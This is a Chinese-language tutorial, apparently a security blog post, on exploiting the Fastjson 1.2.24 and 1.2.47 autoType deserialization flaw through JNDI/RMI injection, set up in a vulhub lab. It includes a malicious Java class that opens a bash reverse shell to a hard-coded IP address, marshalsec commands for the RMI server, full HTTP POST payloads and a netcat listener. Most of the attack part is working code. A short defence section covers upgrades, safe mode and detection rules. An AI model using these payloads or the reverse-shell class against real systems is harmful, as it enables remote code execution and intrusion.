大致步骤
1,先在攻击机上编写好含有恶意代码的类,编译成class文件。其中有我们要执行的命令,开启web服务
2,还需要在攻击机上利用jar包部署rmi服务。
3,通过payload请求攻击机上的rmi服务,此服务会远程调用我们第一步web部署的恶意类。
即可造成rce。
攻击流程分析:
- 反序列化触发:Fastjson解析JSON时,反射调用
JdbcRowSetImpl.setDataSourceName()
和setAutoCommit()
。 - JNDI查询:目标服务器向RMI服务端
rmi://远程地址:8653/reverse
发起请求。 - 恶意类加载:RMI服务器返回指向恶意类的
Reference
对象,目标服务器下载并执行该类的构造方法。 - 远程代码执行:攻击者通过恶意类实现命令执行、内存马注入等攻击。
Fastjson
fastjson是一个Java的库,可以将Java对象转换为Json字符串,也可以将Json字符串转换为Java对象,Fastjson也可以操作一些Java中的对象。JNDI
JNDI(Java Naming and Directory Interface)
是一个应用程序接口,主要提供查找、访问、命名常见的接口,定位网路、用户、对象和服务一些资源,简单理解就是JNDI
将常用的功能、组件、服务取了名字,然后使用名字来查找使用。
JNDI可以使用RMI
远程对象调用,支持的常见服务有DNS、LDAP、RMI、CORBA
RMI
RMI(远程方法调用Remote Method Invocation),远程调用方法在分布式编程中很常见,主要实现远程方法的调用,其中RMI
是专门给Java环境设计的远程方法调用机制、JDNI注入
JNDI
中有一个服务RMI
可以支持Java远程方法的调用,如果使用rmi调用的远程地址中的方法有一些危险的代码,并没有经过处理,就会导致命令的执行。
漏洞原理
fastjson在解析json对象时,会使用autoType实例化某一个具体的类,并调用set/get方法访问属性。漏洞出现在Fastjson autoType处理json对象时,没有对@type字段进行完整的安全性验证,我们可以传入危险的类并调用危险类连接远程RMI服务器,通过恶意类执行恶意代码,进而实现远程代码执行漏洞。
正式开始
首先是环境搭建ubuntu上使用vulhub一键启动fastjson 1.2.24 rce环境,访问8090端口正常即可
攻击机是另一台公网机需要有java8环境,
先编写一个简单的java类,用于执行我们的命令,使用javac编译成class文件。
reserve.java 通过JdbcRowSetImpl
触发JNDI注入
import java.lang.Runtime; import java.lang.Process; public class reverse{ static { try{ Runtime rt = Runtime.getRuntime(); String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/189.1.226.116/4563 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
然后在此目录使用poython开启web访问
python3 -m http.server 8989
同时我们还需要再启动一个rmi服务来调用该恶意的class类文件进行攻击,需要用到marshalsec-0.0.3--SHOT-all.jar,
这里可以直接下载也可以自己构建这个文件
GitHub - RandomRobbieBF/marshalsec-jar: marshalsec-0.0.3-SNAPSHOT-all compiled on X64
有了这个jar包之后,开启rmi服务
/*样例 java -cp marshalsec-0.0.3--SHOT-all.jar marshalsec.jndi.RMIRefServer "http://攻击机ip:web端口/#类名" rmi服务端口 */ java -cp marshalsec-0.0.3--SHOT-all.jar marshalsec.jndi.RMIRefServer "http://xxxxxxxx:8989/#reserve" 8653
然后编写payload
POST / HTTP/1.1 Host: xxxxxxxxx:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br DNT: 1 Sec-GPC: 1 Connection: keep-alive Upgrade-Insecure-Requests: 1 Content-Type: application/json Content-Length: 163 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://攻击机ip:8653/reverse", "autoCommit":true } }
字段解释:
- @type字段:指定反序列化目标类为
JdbcRowSetImpl
(JDK内置数据库连接组件)。 - dataSourceName:设置JNDI服务地址,指向攻击者控制的RMI服务器(IP,端口:8653)。
- autoCommit:触发
setAutoCommit()
方法,间接调用connect()
,发起JNDI查询[][]。
在攻击机上开启web监听nc -lnvp 4563
执行payload,响应为空白或者500,基本都可以成功
防御与修复方案
1. 代码层防护
- 升级Fastjson:
使用Fastjson 2.x版本(默认关闭AutoType),配置白名单:ParserConfig.getGlobalInstance().addAccept("com.example.safe.*");
- 启用安全模式:
ParserConfig.getGlobalInstance().setSafeMode(true); // 完全禁用AutoType
2. 运行时防护
- JVM参数限制:
添加-Dcom.sun.jndi.rmi.object.trustURLCodebase=false
禁用远程类加载。 - RASP拦截:
监控JdbcRowSetImpl.connect()
和InitialContext.lookup()
等敏感方法调用。
3. 网络层管控
- 出口流量过滤:
阻止服务器主动外联RMI、LDAP等协议。 - 入侵检测规则:
在IDS/IPS中设置特征规则(如@type
字段包含JdbcRowSetImpl
)。
fastjson 1.2.47版本换个payload就行了
POST / HTTP/1.1 Host: 1xxxx8.18:8090 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/json Content-Length: 265 { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://189.1.226.116:8653/TouchFilels ", "autoCommit":true } }
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)